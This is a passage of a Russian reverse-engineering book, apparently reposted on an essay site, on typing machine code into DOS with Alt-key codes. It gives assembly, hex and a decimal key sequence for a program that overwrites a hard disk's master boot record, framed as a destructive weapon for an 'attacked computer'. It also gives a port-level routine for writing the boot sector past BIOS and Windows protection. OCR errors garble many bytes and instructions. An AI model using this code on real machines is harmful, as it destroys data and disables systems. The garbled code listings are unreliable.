рефераты конспекты курсовые дипломные лекции шпоры

Реферат Курсовая Конспект

Ассемблирование в уме

Ассемблирование в уме - раздел Компьютеры, NAG SCREEN "ничто Не Превосходит По Сложности Человече­ский Ум." Ф. Хер...

"Ничто не превосходит по сложности человече­ский ум." Ф. Херберт. "Еретики Дины".

Мы уже проделали титаническую работу, дизассемблировав в уме крохотный файл в пару десятков байт. При этом трудозатраты выглядели весьма внушитель­но, Так реально ли использовать такой подход для анализа приложения хотя бы в пару килобайт? И сколько на это уйдет времени?

Другими словами, и нужно ли хоть кому-нибудь то, чем мы тут занимаемся? И если нужно, то при каких обстоятельствах? Нужно: во-первых тогда, когда иного выбора просто нет. С другой стороны, тренированный взгляд даже в километровом дампе (при беглом просмотре последнего) может заметить после­довательности, характерные для защитного механизма... или для вируса,

Кстати, это типичный случай — когда необходимо удостовериться в наличии вируса в полученном файле. Достаточно дизассемблировать всего несколько десятков команд, чтобы все стало ясно — вирус это или нет. Конечно, не обязательно бывает именно так, но очень и очень часто. При этом посмотреть 1 файл по "F3" гораздо быстрее, чем искать дизассемблер.

[ Но иногда на машине нет ни одного компилятора, а требуется написать хотя бы простенькую программу. Например, для удаления того же вируса (при условии, что обычные антивирусы его "не берут"). Если еще усложнить задачу, то можно представить, что в нашем распоряжении нет не только компилятора, но и даже шестнадцатиричного редактора.

Кажется, что в такой ситуации ничего сделать невозможно. И администраторы подобных систем уверены, что они на 100% защищены от злоумышленников. Однако это лишь распространенное заблуждение. В MS-DOS есть возможность создавать бинарные файлы с помощью клавиши Alt и вспомогательной цифровой клавиатуры. Когда-то это входило практически во все руководства по IBM XT/AT, а сейчас уже никем и нигде не упоминается.

Давайте воскресим этот древний "обряд" и создадим маленький бинарный файл, который ничего не делает, а только возвращает управление MS-DOS. Для

{этого дадим команду:

copy con test.com

 

Она вызовет примитивнейший текстовый редактор системы, но его возможностей для нас в данный момент будет предостаточно. Убедившись, что индикатор "Num Lock" горит, нажмем ALt и, не отпуская ее, на цифровой клавиатуре наберем 195. Отпустим Alt и нажмем Ctri-Z для закрытия файла и выхода из редактора.

Запустим полученный файл. Он ничего не делает, но и не зависает. Дизассем-блировав его, мы поймем, что он состоит из одной команды RETN (ОхСЗ === 195). Конечно, это довольно незатейливый пример, и реализацию можно улучшить, если ввести "магическую" последовательность, показанную ниже.

Ait-180 Alt-09 Alt-186 Alt-09 Ait-OI Ait-205 I Alt-195 Alt-32 Hello. Sailor!$ Ctri-Z

Как нетрудно догадаться, мы получим сот-файл, выводящий указанную фразу на экран. Действительно, он это и делает. Но обратите особое внимание на то, что мы его создали используя только штатные средства MS-DOS, которые есть на любой машине, где есть MS-DOS (или Windows).

Точно так же можно написать и любую троянскую программу, обойти уста­новленную защиту или, наконец, одуматься и сделать все же что-то полезное. Например, уничтожить вирус, восстановить разрушенный диск, или сделать что-то другое, в зависимости от ситуации.

Дизассемблируем только что полученный файл и обратим внимание на один ключевой момент:

seg000:0100 start proc near

seg000:0100 mov ah, 9

seg000:0102 mov dx, offset aHelloSailor ; "Hello, Sailor!$'

seg000:0105 int 21h ; DOS - primt stRING

seg000:0107 retn

seg000:0107 start endp

seg000:0108db 20h ;

seg000:0109 aHelloSailor db 'Hello,SailorlS' ; DATAXREF: start+2o

Зачем в этом месте стоит незначащий символ? Не лучше ли было избавиться от него? Увы, это никак не получится:

00000000: mov ah, 009 ;

00000002: mov dx,00109

00000005: int 021

Дело в том, что указанным способом невозможно ввести с клавиатуры символ #8. А смещение строки как раз и есть 0х108. Чтобы избавиться от восьмерки, можно было бы, конечно, исполнить следующую последовательность команд:

MOV DX, 0х109

DEC DX

Кстати, DEC DX — это однобайтовая команда, и оба варианта эквивалентна по длине и выбор того или иного полностью зависит от вашего вкуса.

Конечно, невозможность ввода некоторых символов через Alt-цифра очень удручающее обстоятельство. Тем более что таких цифр довольно много. Ниже дан их список, который желательно запомнить, чтобы избежать ошибок при вводе:

0, 3, 6. 8,

16 (0х10), 19 (0х13), 27 (Ох1В), 255 (OxFF)

Приходится так изощряться при программировании, чтобы ни один из этих символов не потребовался. Конкретная реализация, как было показано выше, зависит от вашей фантазии и существует множество решений той или другой проблемы.

Теперь перейдем собственно к теме главы — как ассемблировать "на лету" программы в таких "спартанских" условиях. Самый банальный ответ — предва­рительно составить программу на машине, где выбор инструментария побогаче, а потом распечатать на бумаге полученный листинг, который запомнить или вводить в компьютер прямо с распечатки. Несмотря на все недостатки этого способа, он требует лишь минимального умственного напряжения и часто оказы­вается полезным во многих ситуациях. Однако он не имеет никакого отношения к теме главы. Поэтому вернемся к ситуации, когда мы сидим перед "голой" машиной и у нас под рукой только блокнот и остро заточенный карандаш. Нет даже такой необходимой вещи, как калькулятора. Впрочем, учитывая, что в Windows 95 принудительно входит браузер, поддерживающий VBasic Script, то можно сказать, что довольно мощный "вычислитель" у нас всегда под рукой. Можно даже написать простейший шестнадцатиричный редактор, но это уже другой разговор.

Одна из главных сложностей ассемблирования в уме заключается в том, что на момент обращения к переменным (меткам) мы не знаем их смешений. Так было, скажем, в приведенном выше примере. На момент загрузки смещения строки в регистр DX о нем можно было только гадать. Поэтому первый "проход" необходимо выполнить на бумаге, дав всем переменным и меткам символьные имена. Когда программа будет готова и появится возможность определить реаль­ные смещения в памяти, мы это и сделаем. Теперь полученный листинг можно вводить в машину.

Другим решением может быть объявление всех переменных до их использо­вания. Например:

MOV АН, 9

JMP SHORT $+20

DB 'Hello, Sailor I '$xxxxx

1234567B90123 456789

1111 111111

MOV DX, 0х100+2+2 ; OxlOO-адрес загрузки, 2 длина MOV АН, 9, 2 длина jmp

JMP SHORT $+20 — резервирует 20 символов для строки. Предполагается, что этого окажется достаточно (даже не уточняя, сколько символов в строке). Тот же прием может быть применен и по отношению к меткам, направленным вперед. Иными словами, опытный специалист может написать довольно сложную про­грамму даже без карандаша и блокнота. Это действительно "высший пилотаж", требующий изрядного таланта и опыта, но, с другой стороны, он многократно повышает вашу власть над машиной. Насколько это нужно — решать вам. Сегодня, когда уже и структурные языки выходят из моды, такие трудоемкие "ручные" способы программирования вряд ли найдут много приверженцев.

В качестве иллюстрации попробуем создать маленькую программу, которая стирает загрузочный сектор. Заметим, что ее использование для умышленного уничтожения информации, равно как и для нарушения работы вычислительной системы, попадает под статью УК. Поэтому использовать ее можно только на собственной машине (или с явного согласия владельца) только в эксперименталь­ных целях для проверки системы безопасности. Действительно, многие админи­страторы, удалившие ряд сервисных файлов и дисковод для гибких дисков, считают рабочую станцию на 100% защищенной от вредителей. Эта программа показывает, что последнее утверждение глубоко неверно.

Но перейдем к делу. Для начала освоим самый простой метод: компиляцию и перенос программы на бумагу, откуда не составит труда ввести ее на любой машине.

00000000: В80103 mov ax ,00301 ; Чтение одного сектора

00000003: В90100 mov сх,00001 ; сектор ~ 1, цилиндр - О

00000006: ВД8000 mov dx, 00080 ; Головка - 0, 1-й HDD

00000009: CD13 int 013 ; Вызов дискового сервиса

0000000В: СЗ retn ; Выход

Отметим, что в полученном дампе два раза встретился "запрещенный" (не вводимый с клавиатуры) символ #0, один раз #3 и один раз #19. Изменим программу так, чтобы избежать этого;

00000000; В80102 mov ax,00201 ;

00000003: FEC4 inc ah

00000005: B90101 mov ex,00101 ;

00000008: FECD dec ch

0000000A: 8AFE mov bh,dh

0000000C; B280 mov dl,080 ;

0000000E: BB0401 mov bx,00104 ;

00000011: FE4711 inc b, [bx] [00011]

00000014: CD12 int 012

00000016: СЗ retn

Теперь полученный дамп нужно перевести в десятичное исчисление. Для этого лучше всего воспользоваться специально написанной программой, которую нетрудно будет написать за несколько минут на любом подходящем языке.

«184 «001 »002 11254 «196 «185 «001 «001 «254

«205 «138 «254 «П8 «12B «187 «004 «001 «254

‘G' «ОП «205 «018 «195

Достаточно ввести эту последовательность в атакуемый компьютер, и у нас в руках будет мощное разрушительное оружие. Советую пользоваться им с крайней осторожностью.

К счастью, в BIOS-ax предусмотрен специальный сторож, который сигнализи­рует о попытке модификации главного загрузочного сектора. Точно так же может стоять специальное ПО, перехватывающее и блокирующее запись. Например, Windows 98 поступает именно так, и запуск данной программы под ее управлени­ем не возымеет ожидаемого эффекта. Однако ничто не помешает нам в DOS-окне обратиться непосредственно к портам ввода-вывода и на низком уровне управлять контроллером винчестера.

Вообще-то программирование контроллеров к теме этой книги не относится (ему посвящены специальные руководства), но все же я привожу ниже пример процедуры, записывающей главный загрузочный сектор через порты ввода-вы­вода:

MOV DX, IF2h
MOV AL, I
OUT DX, fiL
INC DX
OUT DX, AL
INC DX
XOR AХ, AX
OUT DX, AL
INC DX
OUT DX, AL
HOV AL, IOIOOOOOB
INC DX
OUT DX, AL
INC DX
MOV AL, 30h
OUT DX, AL
LEA SI, Buffer
MOV DX, iFOh
MOV CX, 513
REP OUTSW

Мне не известна ни одна широко распространенная защита, которая могла бы
отслеживать и блокировать такую запись. Впрочем, к Windows NT это не
относится, и она не только не допустит прикладную программу к портам, но еще
и закроет ее окно.

Подготовку этого приложения к вводу в компьютер с помощью ALT я
перекладываю на плечи любознательных читателей, равно как и определенную
оптимизацию по размеру. Не думаю, что это вызовет какие-то трудности.

– Конец работы –

Эта тема принадлежит разделу:

NAG SCREEN

На сайте allrefs.net читайте: "NAG SCREEN"

Если Вам нужно дополнительный материал на эту тему, или Вы не нашли то, что искали, рекомендуем воспользоваться поиском по нашей базе работ: Ассемблирование в уме

Что будем делать с полученным материалом:

Если этот материал оказался полезным ля Вас, Вы можете сохранить его на свою страничку в социальных сетях:

Все темы данного раздела:

NAG SCREEN
Вероятно, до разработчиков защит наконец-то дошел тот малоприятный факт, что на языке высокого уровня чрезвычайно трудно создать что-нибудь устойчивое даже против кракера средней квалификации. Наве

SetTimer
18C Is Iconic 195 KillTimer B7 EnableWindow 146 GetSystemMetrics 19E LoadIconA Попробуем найти код, который вызывает SetTimer, для чего установим на пос

Ограничение возможностей
Многие незарегистрированные версии отличаются тем, что часть их возмож­ностей заблокирована. Если программа предусматривает регистрацию, то обычно больших проблем при взломе не возникает. Совсем др

Text;004015CFp
jmp ds: ?EnableWindow@cwnd@@QREHH@z j_?EnableWindow@cwnd@@QAEHH@z endp Их всего два. Как раз по числу элементов управления. Пока защита не предвещает ничего необычного и ее код вы

Ключевой файл
Настал черед рассмотреть и ключевые файлы. Обычно это самая сложная защита из всех вышеизложенных^ поскольку может сочетать в себе как мощную шифровку, так и недостающие фрагменты кода. Но именно

Способы затруднения анализа программ
Все методы взлома защитных механизмов (за исключением, возможно, крип­тографических) сводятся практически к двум моментам — локализации кода защиты в сотнях килобайт (мегабайт) кода приложения и ан

Приемы против отладчиков
Самым первым отладчиком под MS-DOS был Debug.com фирмы MicroSoft. Совершенно очевидно, что этот инструмент годился разве что для забавы и изучения ассемблера. Но рынок не терпит пустого ме

Приемы против отладчиков реального режима
Чтобы понять, как противодействовать отладчикам реального режима, необ­ходимо изучить сам процесс отладки. 8086 процессор предоставлял для этого одну команду, один флаг и две исключительные ситуаци

Приемы против отладчиков защищенного режима
Позже появился 80286 (с точки зрения хакера мало чем отличавшийся от своего предшественника), а вслед за ним и 80386, принесший принципиально новые возможности отладки. Точнее, "принципиально

Технологии эмуляции процессора
На заре компьютерной истории, когда общение с майнфреймами велось исключительно на уровне машинных кодов, уже существовали эмуляторы. В первую очередь это было связано с необходимостью выполнять ко

Дизассемблирование в уме
"— Мне известны политические аргументы. — Но меня интересуют человеческие доводы." Ф. Херберт. "Мессия Дюны". Очень часто под рукой не оказывается ни отладчика,

Структура команд INTEL 80х86
"— Потому ты и опасен, что ояладел своими страстями." Ф. Херберт. "Мессия Дюны". Дизассемблирование (тем более в уме) невозможно без понимания того, как процессо

Маленькие хитрости
"Главная часть дисциплинирующей выучки — это ее сокрытая часть, предназначенная не освобож­дать, но ограничивать." Ф. Херберт. "Еретики Дюны". Хорошо, если в ваш

Text 00000452 |D:KPNCHIEWDEXEM.EXE
При этом кроме собственно имен сохранятся текущий режим и позиция курсора (что особенно приятно). Последнее позволяет использовать HIEW для чтения больших текстовых файлов (электронных книг, докуме

Ассемблер
"Убийство острием лишено артистизма. Но пусть тебя это не останавливает, если плоть, раскрываясь, сама себя предлагает." Ф. Херберт. "Дюна". Пере

Дизассемблер
Дизассемблер в HIEW великая вещь. фактически это основной режим работы хакера. Не то чтобы некоторые ленились дизассемблировать в уме hex-коды, (что, скажем, частенько приходится делать при работе

Манипуляции с блоками
"Соединение невежества и знания, соединение ди­кости и культуры — не начинается ли оно с того чувства достоинства, с которым мы относимся к своей смерти?" Ф. Хербер

Поддержка LE/PE/NE/LX/NLM-ФОРМАТОB
"Понятие прогресса, служит защитным механиз­мом, отгораживающим нас от ужасов будущего." Ф. Херберт. "Дюна". Вообще-то шестнадцатиричный редактор идеологически д

Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна". Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер

Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна". Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер

Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна". Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер

Крипт-система
"Не считай человека мертвым, пока не увидишь его тело. И даже тогда ты можешь ошибиться." Ф. Херберт. "Дюна". Уникальность HIEW-a прежде всего в том, чт

Описание файла HIEW.INI
"— Осторожность — важное качество для чело­века, который будет вождем." Ф. Херберт. "Дюна". HIEW хранит часть настроек в ini-файле, который немного напоминает од

Хотите получать на электронную почту самые свежие новости?
Education Insider Sample
Подпишитесь на Нашу рассылку
Наша политика приватности обеспечивает 100% безопасность и анонимность Ваших E-Mail
Реклама
Соответствующий теме материал
  • Похожее
  • Популярное
  • Облако тегов
  • Здесь
  • Временно
  • Пусто
Теги